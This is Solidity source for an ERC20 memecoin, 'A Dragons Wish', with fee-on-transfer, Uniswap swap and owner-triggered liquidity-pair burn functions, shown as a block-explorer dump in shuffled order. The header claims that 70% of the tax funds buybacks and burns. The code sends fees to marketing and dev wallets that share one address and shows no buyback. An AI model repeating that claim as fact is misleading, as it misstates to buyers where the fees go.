tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees; } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable deadAddress, block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev; bool success; if (contractBalance == 0 || totalTokensToSwap == 0) { return; } if (contractBalance > swapTokensAtAmount * 20) { contractBalance = swapTokensAtAmount * 20; } // Halve the amount of liquidity tokens uint256 liquidityTokens = (contractBalance * tokensForLiquidity) / totalTokensToSwap / 2; uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div( totalTokensToSwap ); uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev; tokensForLiquidity = 0; tokensForMarketing = 0; tokensForDev = 0; (success, ) = address(developmentWallet).call{value: ethForDev}(""); if (liquidityTokens > 0 && ethForLiquidity > 0) { addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify( amountToSwapForETH, ethForLiquidity, tokensForLiquidity ); } (success, ) = address(marketingWallet).call{ value: address(this).balance }(""); } function setAutoLPBurnSettings( uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled ) external onlyOwner { require( _frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes" ); require( _percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%" ); lpBurnFrequency = _frequencyInSeconds; percentForLPBurn = _percent; lpBurnEnabled = _Enabled; } function autoBurnLiquidityPairTokens() internal returns (bool) { lastLpBurnTime = block.timestamp; // get balance of liquidity pair uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); // calculate amount to burn uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div( 10000 ); // pull tokens from pancakePair liquidity and move to dead address permanently if (amountToBurn > 0) { super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } //sync price since this is not in a swap transaction! IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); pair.sync(); emit AutoNukeLP(); return true; } function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool) { require( block.timestamp > lastManualLpBurnTime + manualBurnFrequency, "Must wait for cooldown to finish" ); require(percent <= 1000, "May not nuke more than 10% of tokens in LP"); lastManualLpBurnTime = block.timestamp; // get balance of liquidity pair uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); // calculate amount to burn uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000); // pull tokens from pancakePair liquidity and move to dead address permanently if (amountToBurn > 0) { super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } //sync price since this is not in a swap transaction! IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); pair.sync(); emit ManualNukeLP(); return true; } }

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v0.8.20+commit.a1b79de6

Default

MIT

ipfs://dccb3c6b949de55688e3de166d970a60d738655853a2b56e05f6814299afbd98

WishOfATsuka

WishOfATsuka.sol

0xb8cb6d320c71ea3ced91a08d60423416185763c0

Solidity

/** https://medium.com/@WishOfADragon 100% Liquidity is Burned. TOTAL SUPPLY— 1_000_000_000 MAX TX — 20_000_000 TOTAL TAX — 6/6 70% of the tax will be used for BuyBacks and Burn. 30% tax will be used for Marketing. **/ // SPDX-License-Identifier: MIT pragma solidity =0.8.10 >=0.8.10 >=0.8.0 <0.9.0; pragma experimental ABIEncoderV2; ////// lib/openzeppelin-contracts/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.0 (utils/Context.sol) /* pragma solidity ^0.8.0; */ /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } ////// lib/openzeppelin-contracts/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.0 (access/Ownable.sol) /* pragma solidity ^0.8.0; */ /* import "../utils/Context.sol"; */ /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } ////// lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol // OpenZeppelin Contracts v4.4.0 (token/ERC20/IERC20.sol) /* pragma solidity ^0.8.0; */ /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } ////// lib/openzeppelin-contracts/contracts/token/ERC20/extensions/IERC20Metadata.sol // OpenZeppelin Contracts v4.4.0 (token/ERC20/extensions/IERC20Metadata.sol) /* pragma solidity ^0.8.0; */ /* import "../IERC20.sol"; */ /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } ////// lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol // OpenZeppelin Contracts v4.4.0 (token/ERC20/ERC20.sol) /* pragma solidity ^0.8.0; */ /* import "./IERC20.sol"; */ /* import "./extensions/IERC20Metadata.sol"; */ /* import "../../utils/Context.sol"; */ /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } ////// lib/openzeppelin-contracts/contracts/utils/math/SafeMath.sol // OpenZeppelin Contracts v4.4.0 (utils/math/SafeMath.sol) /* pragma solidity ^0.8.0; */ // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } ////// src/IUniswapV2Factory.sol /* pragma solidity 0.8.10; */ /* pragma experimental ABIEncoderV2; */ interface IUniswapV2Factory { event PairCreated( address indexed token0, address indexed token1, address pair, uint256 ); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint256) external view returns (address pair); function allPairsLength() external view returns (uint256); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } ////// src/IUniswapV2Pair.sol /* pragma solidity 0.8.10; */ /* pragma experimental ABIEncoderV2; */ interface IUniswapV2Pair { event Approval( address indexed owner, address indexed spender, uint256 value ); event Transfer(address indexed from, address indexed to, uint256 value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transfer(address to, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint256); function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; event Mint(address indexed sender, uint256 amount0, uint256 amount1); event Burn( address indexed sender, uint256 amount0, uint256 amount1, address indexed to ); event Swap( address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint256); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ); function price0CumulativeLast() external view returns (uint256); function price1CumulativeLast() external view returns (uint256); function kLast() external view returns (uint256); function mint(address to) external returns (uint256 liquidity); function burn(address to) external returns (uint256 amount0, uint256 amount1); function swap( uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data ) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } ////// src/IUniswapV2Router02.sol /* pragma solidity 0.8.10; */ /* pragma experimental ABIEncoderV2; */ interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } /* pragma solidity >=0.8.10; */ /* import {IUniswapV2Router02} from "./IUniswapV2Router02.sol"; */ /* import {IUniswapV2Factory} from "./IUniswapV2Factory.sol"; */ /* import {IUniswapV2Pair} from "./IUniswapV2Pair.sol"; */ /* import {IERC20} from "lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol"; */ /* import {ERC20} from "lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol"; */ /* import {Ownable} from "lib/openzeppelin-contracts/contracts/access/Ownable.sol"; */ /* import {SafeMath} from "lib/openzeppelin-contracts/contracts/utils/math/SafeMath.sol"; */ contract WishOfATsuka is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; address public constant deadAddress = address(0xdead); bool private swapping; address public marketingWallet; address public devWallet; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; uint256 public percentForLPBurn = 25; // 25 = .25% bool public lpBurnEnabled = true; uint256 public lpBurnFrequency = 3600 seconds; uint256 public lastLpBurnTime; uint256 public manualBurnFrequency = 30 minutes; uint256 public lastManualLpBurnTime; bool public limitsInEffect = true; bool public tradingActive = false; bool public swapEnabled = false; // Anti-bot and anti-whale mappings and variables mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch bool public transferDelayEnabled = true; uint256 public buyTotalFees; uint256 public buyMarketingFee; uint256 public buyLiquidityFee; uint256 public buyDevFee; uint256 public sellTotalFees; uint256 public sellMarketingFee; uint256 public sellLiquidityFee; uint256 public sellDevFee; uint256 public tokensForMarketing; uint256 public tokensForLiquidity; uint256 public tokensForDev; /******************/ // exlcude from fees and max transaction amount mapping(address => bool) private _isExcludedFromFees; mapping(address => bool) public _isExcludedMaxTransactionAmount; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping(address => bool) public automatedMarketMakerPairs; event UpdateUniswapV2Router( address indexed newAddress, address indexed oldAddress ); event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event marketingWalletUpdated( address indexed newWallet, address indexed oldWallet ); event devWalletUpdated( address indexed newWallet, address indexed oldWallet ); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); event AutoNukeLP(); event ManualNukeLP(); constructor() ERC20("A Dragons Wish", "DESIRE") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyMarketingFee = 3; uint256 _buyLiquidityFee = 0; uint256 _buyDevFee = 3; uint256 _sellMarketingFee = 3; uint256 _sellLiquidityFee = 0; uint256 _sellDevFee = 3; uint256 totalSupply = 1_000_000_000 * 1e18; maxTransactionAmount = 20_000_000 * 1e18; // 2% from total supply maxTransactionAmountTxn maxWallet = 30_000_000 * 1e18; // 3% from total supply maxWallet swapTokensAtAmount = (totalSupply * 5) / 10000; // 0.05% swap wallet buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyDevFee = _buyDevFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellDevFee = _sellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; marketingWallet = address(0x7577Fcc6FF94B0C50B9dB3d573c71cc9DFa460e3); // set as marketing wallet devWallet = address(0x7577Fcc6FF94B0C50B9dB3d573c71cc9DFa460e3); // set as dev wallet // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(msg.sender, totalSupply); } receive() external payable {} // once enabled, can never be turned off function enableTrading() external onlyOwner { tradingActive = true; swapEnabled = true; lastLpBurnTime = block.timestamp; } // remove limits after token is stable function removeLimits() external onlyOwner returns (bool) { limitsInEffect = false; return true; } // disable Transfer delay - cannot be reenabled function disableTransferDelay() external onlyOwner returns (bool) { transferDelayEnabled = false; return true; } // change the minimum amount of tokens to sell from fees function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool) { require( newAmount >= (totalSupply() * 1) / 100000, "Swap amount cannot be lower than 0.001% total supply." ); require( newAmount <= (totalSupply() * 5) / 1000, "Swap amount cannot be higher than 0.5% total supply." ); swapTokensAtAmount = newAmount; return true; } function updateMaxTxnAmount(uint256 newNum) external onlyOwner { require( newNum >= ((totalSupply() * 1) / 1000) / 1e18, "Cannot set maxTransactionAmount lower than 0.1%" ); maxTransactionAmount = newNum * (10**18); } function updateMaxWalletAmount(uint256 newNum) external onlyOwner { require( newNum >= ((totalSupply() * 5) / 1000) / 1e18, "Cannot set maxWallet lower than 0.5%" ); maxWallet = newNum * (10**18); } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } // only use to disable contract sales if absolutely necessary (emergency use only) function updateSwapEnabled(bool enabled) external onlyOwner { swapEnabled = enabled; } function updateBuyFees( uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee ) external onlyOwner { buyMarketingFee = _marketingFee; buyLiquidityFee = _liquidityFee; buyDevFee = _devFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; require(buyTotalFees <= 11, "Must keep fees at 11% or less"); } function updateSellFees( uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee ) external onlyOwner { sellMarketingFee = _marketingFee; sellLiquidityFee = _liquidityFee; sellDevFee = _devFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + 